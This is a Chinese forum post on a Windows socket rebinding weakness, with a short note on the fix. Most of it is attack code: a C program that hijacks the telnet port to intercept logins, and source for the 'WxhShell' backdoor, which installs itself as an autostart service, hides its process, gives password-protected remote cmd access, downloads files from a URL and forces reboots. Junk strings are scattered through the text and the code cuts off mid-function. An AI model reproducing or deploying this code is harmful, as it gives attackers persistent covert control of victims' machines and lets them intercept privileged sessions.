-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U/p|X) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n#\ t_/\ aC2cyUuaN saddr.sin_family = AF_INET; ZJZKCdT@ f>i" j saddr.sin_addr.s_addr = htonl(INADDR_ANY); S(&]?! =~|:93]k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zo12F**{ 2PaRbh{" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *F_ dP #z.QBG@ 这意味着什么?意味着可以进行如下的攻击:
krt8yAkG 1kDr;.m% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {(00,6M)i h3udS{9'8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \os iY^ XFS"~{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <E&[sQ|3 ~WKcO& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 94Hs.S) "{1SDbwmMo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $t1XoL Z` ;.62S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QP%*`t? a,EApUWw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L2NO_N +^@;J?O #include ){_D #include -_4ZT^.Lna #include -nsI5\] #include ?J1x'/G DWORD WINAPI ClientThread(LPVOID lpParam); _7^4sR8= int main() jf|5}5kSlf { r/ G6O WORD wVersionRequested; qRX:eo DWORD ret; GELxS! WSADATA wsaData; F:vHbs `y BOOL val; {&qB!axj SOCKADDR_IN saddr; q|EE
em SOCKADDR_IN scaddr; /&T"w,D int err; ophQdJM SOCKET s; gPA),
NrN SOCKET sc; Gv$}>YJ int caddsize; :SUU)jLq HANDLE mt; /4 Q^L>a DWORD tid; ~A X@o-WU wVersionRequested = MAKEWORD( 2, 2 ); Mu~DB:Y9e err = WSAStartup( wVersionRequested, &wsaData ); u#>*"4Q if ( err != 0 ) { 5Vj t!%?r printf("error!WSAStartup failed!\n"); jcY:a0 [{D return -1; YtWO=+rX } \i}:Vb(^ saddr.sin_family = AF_INET; Wu\szI" |J_kS90= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j,%<16f^A p2\mPFxEP saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \{Yi7V
Xv saddr.sin_port = htons(23); .dr-I7&! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "j]85 { QEb
^'y printf("error!socket failed!\n"); J8>8@m6 return -1; HK/T`p# } *It`<F| val = TRUE; R{X@@t9@ //SO_REUSEADDR选项就是可以实现端口重绑定的 u*:;O\6l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XXe?@w2{ { 2y"|l printf("error!setsockopt failed!\n"); :v(fgS2\
return -1; =Ll:Ba Q } 0~;Owu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;t_'87h$y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P%nN#Qm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 );~JyoDo m%[Ul@!V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :I)WSXP9h { jH4'jB ret=GetLastError(); jJ B+UF= printf("error!bind failed!\n"); =MP?aH
[ return -1; T*'?;u } %~$P.Zh listen(s,2); w:0=L`<Eu while(1) >w}5\4j { E/Ng caddsize = sizeof(scaddr); $!Pm*s //接受连接请求 Z}E.s@w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i`F8kg`_K if(sc!=INVALID_SOCKET) ._$tNGI4 { W
^MF3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |;[%ZE" if(mt==NULL) ;@&mR<5j { %xH2jf printf("Thread Creat Failed!\n"); =HGC<# break; /@!%/Kl } '%}k"&t$i } nJ]oApb/- CloseHandle(mt); ~%8T_R /3 } 2^*a$OJ closesocket(s); 4J"S?HsW| WSACleanup(); Km=dId7] return 0; .ZzxW } [
BpZ{Ql DWORD WINAPI ClientThread(LPVOID lpParam) jEkO#xI { v"po}K SOCKET ss = (SOCKET)lpParam; Ew9\Y R} SOCKET sc; <EHgPlQn unsigned char buf[4096]; Pm
Zb!| SOCKADDR_IN saddr; `wzb}"gLsM long num; x'c%w: DWORD val; Y<"BhE DWORD ret; ;B,6v P# //如果是隐藏端口应用的话,可以在此处加一些判断 n*Q~<`T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 J2ryYdo> saddr.sin_family = AF_INET; ROv(O;.Ty saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +li<y`aw0 saddr.sin_port = htons(23); .h0@Vs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zlw+=NX { 7tEkQZMDI printf("error!socket failed!\n"); `o;E return -1; vfn _Nq; } I>(3\z4s val = 100; ^)| !nd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]V4Fm{] { KO ~_ ret = GetLastError(); >3v
j<v}m return -1; zP
F0M( } orGkS<P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GO|1O|? { )Td;2 ret = GetLastError(); -{^I T` return -1; HoTg7/iK } ?
_>L<Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YoT<]' { VN5UJ!$?J printf("error!socket connect failed!\n"); p,)~w1| closesocket(sc); Ep.Q&(D
> closesocket(ss); ~eVq Fc return -1; "k0b j> } =F B[<% while(1) gE_i#=bw { m#^ua^JV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 </.9QV //如果是嗅探内容的话,可以再此处进行内容分析和记录 g"F&~y/p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +kMVl_`V num = recv(ss,buf,4096,0); !b=jD;< if(num>0) ~o+:M0)} send(sc,buf,num,0); jgz} else if(num==0) X*Qtbm, break; uVQH,NA, num = recv(sc,buf,4096,0); b `7vWyp if(num>0) wOlnDQs send(ss,buf,num,0); ixf~3Y8 else if(num==0) ;$\?o break; KliMw*5( } #D qVh!t" closesocket(ss); +J`HI1 closesocket(sc); h^)R}jy+f return 0 ; YEbB3N } hhqSfafUX vjzpU(Sq# ;VLv2J* ========================================================== e\[z Q
2Z3 E/OJ}3Rf 下边附上一个代码,,WXhSHELL S~ff<A>f %ja8DRQ. ========================================================== e
Qz_,vTk _N-.=86* #include "stdafx.h" !bPsJbIo> T[z}^" #include <stdio.h> g?}$"=B #include <string.h> "L(4 EcO@ #include <windows.h> /F(wb_! #include <winsock2.h> JFJ_
PphvD #include <winsvc.h> X:un4B}O #include <urlmon.h> `ZC{<eVJ}= kPt] [1jo #pragma comment (lib, "Ws2_32.lib") y,i ~w |4 #pragma comment (lib, "urlmon.lib") 5
aT>8@$Z^ 5*q!:$
W #define MAX_USER 100 // 最大客户端连接数 _>6xUt #define BUF_SOCK 200 // sock buffer &V$qIvN$ #define KEY_BUFF 255 // 输入 buffer o/;kzi o~_ wx #define REBOOT 0 // 重启 B;3lF;3` #define SHUTDOWN 1 // 关机 |SO?UIWp u(Y! _ #define DEF_PORT 5000 // 监听端口 0L
^WTq -$@$ #define REG_LEN 16 // 注册表键长度 pZYcCc>6& #define SVC_LEN 80 // NT服务名长度 &sbKN[x M 9(\eL9^ // 从dll定义API yX {CV7%O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WeqE9@V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =u*\P!$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |>Q]q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,vxxp]#5
*tWZ.I<< // wxhshell配置信息 Y`O"+Jr struct WSCFG { |#&{`3$CG[ int ws_port; // 监听端口 X
J+y5at char ws_passstr[REG_LEN]; // 口令 pBd_BaN int ws_autoins; // 安装标记, 1=yes 0=no /|kR=
~ char ws_regname[REG_LEN]; // 注册表键名 \A{ [2 char ws_svcname[REG_LEN]; // 服务名 p}b:(QN~m char ws_svcdisp[SVC_LEN]; // 服务显示名 c Nhy.Z~D char ws_svcdesc[SVC_LEN]; // 服务描述信息 dTE(+M-
Gr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \o&\r)FX int ws_downexe; // 下载执行标记, 1=yes 0=no c7E|GZ2Hc char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" sULCYiT|Hn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g}cb>'=={ #[Z1W8e }; (P+TOu-y\ CJDnHuozc // default Wxhshell configuration jo7`DDb struct WSCFG wscfg={DEF_PORT, S\,~6]^T "xuhuanlingzhe", %gd{u\h^ 1, e%Sw(=a "Wxhshell", 4(h19-V "Wxhshell", up# R9
d| "WxhShell Service", CQ4MQ<BJ. "Wrsky Windows CmdShell Service", (}1:]D{)@V "Please Input Your Password: ", :RxWHh3O 1, S
.KZ) " http://www.wrsky.com/wxhshell.exe", B7*^rbI:X "Wxhshell.exe" h()Ok9] }; [SJ)4e|) i;CVgdQ8 // 消息定义模块 h^H~q<R[T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v$P<:M M char *msg_ws_prompt="\n\r? for help\n\r#>"; RS8tE( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; q_hkI] char *msg_ws_ext="\n\rExit."; d*Wg>8| char *msg_ws_end="\n\rQuit."; kF1Tg KSd char *msg_ws_boot="\n\rReboot..."; (oftq!X2 char *msg_ws_poff="\n\rShutdown..."; 6t,_Xqg* char *msg_ws_down="\n\rSave to "; w%3R[Kdzk >Q`\|m}x)Q char *msg_ws_err="\n\rErr!"; )jS9p~FS
char *msg_ws_ok="\n\rOK!"; hk +@ngh% Q^B !^_M char ExeFile[MAX_PATH]; jMpV c
E# int nUser = 0; XBmAD! HANDLE handles[MAX_USER];
)P>}uK; int OsIsNt; *-zOQ=Y &|d6 SERVICE_STATUS serviceStatus; <kmH^viX SERVICE_STATUS_HANDLE hServiceStatusHandle; (= T%eJ61 KKCzq
| // 函数声明 {mkD{2)KQ int Install(void); dR^7d _! int Uninstall(void); }.L\O]~{ int DownloadFile(char *sURL, SOCKET wsh); pPa3byWf int Boot(int flag); G1X${x7 void HideProc(void); !"G|y4O int GetOsVer(void); gsSUm f1 int Wxhshell(SOCKET wsl); 1-h"1UN2E void TalkWithClient(void *cs); e[>c>F^ int CmdShell(SOCKET sock); Y`U[Y Hx int StartFromService(void); 6JCq?:#ab int StartWxhshell(LPSTR lpCmdLine); Xf"B\%,(` THOXs;
k0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~ ~"qT VOID WINAPI NTServiceHandler( DWORD fdwControl ); t&oNC6 w@jC#E\ // 数据结构和表定义 J%:D%=9 ) SERVICE_TABLE_ENTRY DispatchTable[] = gf&\)" { ik;S!S\v {wscfg.ws_svcname, NTServiceMain}, " iz'x-wy {NULL, NULL} k)a3j{{ }; Qw,{"J mZ[tB/ // 自我安装 [s}nv] int Install(void) %mO.ur>21 { KeGGF]=> char svExeFile[MAX_PATH]; ri]"a?Rm HKEY key; JM&:dzyIP strcpy(svExeFile,ExeFile); Z
ZMz0^V g]ct6-m // 如果是win9x系统,修改注册表设为自启动 Hy*_4r if(!OsIsNt) { 4e0/Q!o, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G]$.bq[v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d~>d\K%v RegCloseKey(key); d4 r@Gx%BE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D2@J4;UW*W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l_1y#B-k5 RegCloseKey(key); ^&Re-{ES] return 0; z5UY0>+VdS } HTa]T' } CkHifmc(u- } `
&E- else { T+q3]& H;=JqD8` // 如果是NT以上系统,安装为系统服务 x3QQ`w- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'A#bBn,| if (schSCManager!=0) fPj*qi { >X$I:M<L SC_HANDLE schService = CreateService rDEdMT ( +YNN$i schSCManager, ~R$Ko(N wscfg.ws_svcname, (TF;+FRW wscfg.ws_svcdisp, y?}R,5k SERVICE_ALL_ACCESS, kvoEnwBe_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?%]?#4bkc SERVICE_AUTO_START, ~t,-y*= SERVICE_ERROR_NORMAL, ,xzSFs>2 svExeFile, EYaX@|) NULL, 4Up3x+bg NULL, p&O-]o8 NULL, G#f(oGn : NULL, {T=rsPp<@ NULL AgU 7U/yk ); .zM M!l3 if (schService!=0) MF}}o0P { |E7)s;}D CloseServiceHandle(schService); 1^HUu"Kt CloseServiceHandle(schSCManager); B+pJWl8u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /qeSR3WC strcat(svExeFile,wscfg.ws_svcname); QN'v]z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M?FbBJ`sF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `BGU RegCloseKey(key); n@e[5f9?x return 0; oKlO cws} } NW*qw q } Do\YPo_Mr CloseServiceHandle(schSCManager); Fu/{*4 } XY*KWO } V!3.MQM =#Qm D= return 1; rf:CB&u } M)T {6w EvJ"%:bp // 自我卸载 mm@)uV<\ int Uninstall(void) xn`<g|"# { uV'w0`$y HKEY key; <Ky6|&! J@4,@+X if(!OsIsNt) { 9>1
$Jv3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DdG*eKC RegDeleteValue(key,wscfg.ws_regname); rQ!X RegCloseKey(key); I$#)k^Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ap%
Y} RegDeleteValue(key,wscfg.ws_regname); (9X>E+0E RegCloseKey(key); =>Md>VM return 0; i)[8dv } (q|EC; } ?xgrr7 } 6d%|yl else { (wtw1E5X }K%y'D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a|s64+ if (schSCManager!=0) `=B0NC.3 { V.8pxD5s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A`
iZ"? if (schService!=0) 'r2VWavT { UVIR
P# if(DeleteService(schService)!=0) { my|UlZ(qg CloseServiceHandle(schService); lW8!_h"G`n CloseServiceHandle(schSCManager); XJ.ERLR. return 0; FKN!*}3 } *Pmk1h2 CloseServiceHandle(schService); 1D pRm( } M\f1]L|8d CloseServiceHandle(schSCManager); KJf~9w9U } ny,a5zEnF } 7rdPA9 %N, P?
,U return 1; OGjeE4 } 4GY:N6qe' jP-=x( // 从指定url下载文件 ji|`S\u#b int DownloadFile(char *sURL, SOCKET wsh) H:DTvv8e{ { mh4`,N HRESULT hr; tl:+wp7P` char seps[]= "/"; 8O)!{gB char *token; t#p*{S 3u char *file; eZr}xo@9 char myURL[MAX_PATH]; l*yh(3~} char myFILE[MAX_PATH]; A>c/q&WUk V=C@ocyZ strcpy(myURL,sURL); _c W(R,i token=strtok(myURL,seps); 6.!3g(w while(token!=NULL) H(1(H0Kj" { t[.wx.y&0 file=token; $2M dxw5 token=strtok(NULL,seps); WG_20JdJY } N!`8-ap\^ \3ZQ:E}5 GetCurrentDirectory(MAX_PATH,myFILE); l5m5H,` strcat(myFILE, "\\"); MZ8jL,a^ strcat(myFILE, file); .skR4f,h send(wsh,myFILE,strlen(myFILE),0); .kGlUb?^Q send(wsh,"...",3,0); 8-wW?YTG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y8{PAH8S if(hr==S_OK) ^lP_{c return 0; R`RLq1WA else kUdl2["MZ return 1; bYKyR}e 7sQw&yUL) } \I"UW1)B nVTCbV // 系统电源模块 H9["ZRL,Q int Boot(int flag) Z(8'ki { =!G3YZ HANDLE hToken; xz+Y 1fYT TOKEN_PRIVILEGES tkp; o*_O1P (X
rrnoz if(OsIsNt) { btfjmR<Tp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K$H>/*&'~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ',MiD=_ tkp.PrivilegeCount = 1; _d$0( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XcS8{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2>.2H if(flag==REBOOT) { ERW>G{+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2o`a^'Iw return 0; 5pBQ~m3 } s_=/p5\ else { )U`"3R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D<rO:Er?*a return 0; D&{7Av } qNhQ2x\ } 'oZ/fUl|7 else { # $:ddOY if(flag==REBOOT) { ,KlTitJl\+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) web=AQ5I4 return 0; Ul?Ha{W } Phsdn`, else { SWjOJjn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3U&QonCV return 0; PMJe6*(x/ } kO:iA0KUX } YC:>) 7@MGs2 return 1; ;SzOa7 } n%w36_ &(fB+VNrOH // win9x进程隐藏模块 .,:700n+^ void HideProc(void) Mj&f7IUO { b9[KdVsT6^ [_jTy;E HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TqNEU<S/t if ( hKernel != NULL ) yA%(!v5UT { EO'[AU% ~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vgzNT4o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U9;C#9E FreeLibrary(hKernel); 5|ih>? C/( } (Al.hEs' Q{Gi**< return;
h:[PO6GdX } k--.g(T 0px@3/ // 获取操作系统版本 =KwG;25hX int GetOsVer(void) 30Nya$$A= { slEsSR'J] OSVERSIONINFO winfo; E+$vIYq:W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qoBm!|q GetVersionEx(&winfo); im^G{3z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m :ROq return 1; br"p D-} else fbSl$jn. return 0; }-m/
'Q } &oevgG 8jxgSB", // 客户端句柄模块 dOq*W<% int Wxhshell(SOCKET wsl) w\pD'1e { aWVJx@f SOCKET wsh; JBdZ] struct sockaddr_in client; y &\ J DWORD myID; raGov` GEq?^z~i while(nUser<MAX_USER) 8=Di+r { 9)sGnD; int nSize=sizeof(client); w%cd$"EH wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R|h9ilc if(wsh==INVALID_SOCKET) return 1; ]*pALT6 65RWaz;| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MpM-xz~ if(handles[nUser]==0) "A^9WhUpJ closesocket(wsh); Tn[DF9;? else qFmvc nUser++; A'qJke= } bL+Hw6; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4E:HO\ ]yN]^%PYH return 0; 5tR<aIf } 6a PZW %FGPsHH // 关闭 socket F ]\4< void CloseIt(SOCKET wsh) .eW}@1+[; { ecA[ closesocket(wsh); &|xN=U/ nUser--; $O&P@8:Z ExitThread(0); o[^% 0uVF } 6}2vn5 E// #KZ- "$ // 客户端请求句柄 Wx~0_P void TalkWithClient(void *cs) 3A]Y=gfa { \`r5tQ r BCF-lrZ& SOCKET wsh=(SOCKET)cs; a3
wUB char pwd[SVC_LEN]; aT"q}UTK char cmd[KEY_BUFF]; =LuH:VM& char chr[1]; %MgQ. int i,j; wFpt#_fS c+#GX)zh\G while (nUser < MAX_USER) { Z=DAA+T` L #p-AK if(wscfg.ws_passstr) { c]F$$BT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qev1bBW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D0=D8P}H: //ZeroMemory(pwd,KEY_BUFF); :*#AJV) i=0; 2|(J<H while(i<SVC_LEN) { GDP@M)~6* 1=OXi!G // 设置超时 ;PI=jp fd_set FdRead; /iNCb&[ struct timeval TimeOut; z?_c:]D FD_ZERO(&FdRead); ;JA2n\iP, FD_SET(wsh,&FdRead); I-4csw<Qy TimeOut.tv_sec=8; gIep6nq1`| TimeOut.tv_usec=0; ' A= x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aDR<5_Yb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k&ujr:)5Y5 "m ):" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {
dw m>a pwd =chr[0]; 5NbI Vz if(chr[0]==0xd || chr[0]==0xa) { Fkj\U^G pwd=0; +wwpaR` break; J`;G9'n2 } ,ju 1:` i++; 8$-Wz:X& } :51Q~5k4
P~iu|j // 如果是非法用户,关闭 socket PX52a[wNDH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "EF:+gi#" } ItHKpTer wx
BQ#OE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^o,Hu# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eI; %/6# ;2kiEATQ
1 while(1) { `,Q
uO C78YHjy ZeroMemory(cmd,KEY_BUFF); `Z>4}<~+ :}FMauHh // 自动支持客户端 telnet标准 $jo}?Y+ j=0; N \[Cuh8Fe while(j<KEY_BUFF) { 37x2fnC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d"uR1rTk cmd[j]=chr[0]; CT3wd?)z` if(chr[0]==0xa || chr[0]==0xd) { .RH}/D cmd[j]=0; T/MbEqAf break; KQaw*T[Q3w } fyYT #r j++; c^}gJ } yAG4W[ h"Yi' // 下载文件 DY^q_+[V if(strstr(cmd,"http://")) { ? QwDV` send(wsh,msg_ws_down,strlen(msg_ws_down),0); Duj9PV`2 if(DownloadFile(cmd,wsh)) 8fTuae$^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yq4_ss'nB else kM*f9x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,'m<um } ,*?bET
$ else { k]`I3>/L Sb> ;k(;`: switch(cmd[0]) { .1.n{4z>: /@lXQM9T // 帮助 GfD!Z3 case '?': { pY!@w0. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0^*4LM|z break; j!iimdq } &!2
4l=! // 安装 ae{%*
\J case 'i': { pq#Hca[ if(Install()) > YKvwbCf8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); fI`6]?W else Ti#2D3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0jRoE# break; 4&!`Yi_1L } }I}Rq D:` // 卸载 x,@cU}D case 'r': { ? Sj,HLo@U if(Uninstall()) [m?eSq6e2b send(wsh,msg_ws_err,strlen(msg_ws_err),0); {[61LQ6V9 else UMpC2)5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :R{Xd{? break; Ra&HzK? } `n
Y!nh6! // 显示 wxhshell 所在路径 eEb(TG~,Y case 'p': { A&~G char svExeFile[MAX_PATH]; i*#Gq6qZq strcpy(svExeFile,"\n\r"); h35x'`g7+r strcat(svExeFile,ExeFile); !F/;WjHz send(wsh,svExeFile,strlen(svExeFile),0); YU9xAN i6 break; M,8a$Mdqh } K:c5Yq^ // 重启 lV]hjt-L
2 case 'b': { BOrfKtG\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~zi6wu(3 if(Boot(REBOOT)) @ >%I\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=nwb4 else { Uxn_nh closesocket(wsh); fJn;|'H! ExitThread(0); ;3h[=hyS } OvX z+C, break; Z+' 7c|a } BR8z%R // 关机 .<gAa" case 'd': { xv]P-q0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ':R)i.TS if(Boot(SHUTDOWN)) iSUn}%YFz! send(wsh,msg_ws_err,strlen(msg_ws_err),0); /PE3>"|w E else { o_t2
Z closesocket(wsh); #yFDC@gH1 ExitThread(0); id\0yRBt } 5O#CdN-S break; 2.p7fu } =Jg5J5 // 获取shell h2`W~g_ case 's': { yP :>vFd7 CmdShell(wsh); /~{8/u3 closesocket(wsh); fa8vY ExitThread(0); 4pJOJ!? break; &q#$SU,$( } sHm|&
// 退出 *P 5Xy@: case 'x': { D06'" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @C0{m7q CloseIt(wsh); ) 2wof( break; I?c# T Rm } Y\(Q // 离开 <8|vj2d2 case 'q': { 8b8ui send(wsh,msg_ws_end,strlen(msg_ws_end),0); K
I closesocket(wsh); Fx~=mYU WSACleanup(); cR 4xy26s exit(1); Q%o ]&Hdn break; I;qeDCM } S7P](F=n# } ]7^OTrZ N } %0YwaxXPn7 p~J`}>yo // 提示信息 w")VcAq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RnPJ,Z5s&& } -_[n2\|we) } dB ?+-aE >M<rr!| return; Q1 mz~r } d!{,[8& +_|M*% // shell模块句柄 Vl5}m int CmdShell(SOCKET sock) B=%cXW, { :J`:Q3@ STARTUPINFO si; l}j5EWe ZeroMemory(&si,sizeof(si)); %a<N[H3NV@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SouPk/-B80 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @aN<nd`q) PROCESS_INFORMATION ProcessInfo; n7i;^=9mM char cmdline[]="cmd"; IFlDw}M!9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3o9`Ko0 return 0; / *Z(;- } )?^0<l#s }\|$8~ // 自身启动模式 Lfx&DK ! int StartFromService(void) qXR>Z=K< { 5rRYv~+ typedef struct Tm-Nz7U^^ { UpL?6) DWORD ExitStatus; C|5eV=f)P DWORD PebBaseAddress; R!0O[i DWORD AffinityMask; Qv(}*iq] DWORD BasePriority; 0V`s 3,k ULONG UniqueProcessId; +e);lS"+/ ULONG InheritedFromUniqueProcessId; /zMiy? } PROCESS_BASIC_INFORMATION; mk~&>\ ~'m
GGH2 PROCNTQSIP NtQueryInformationProcess; j!B+Q t%Vc1H2} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8G;
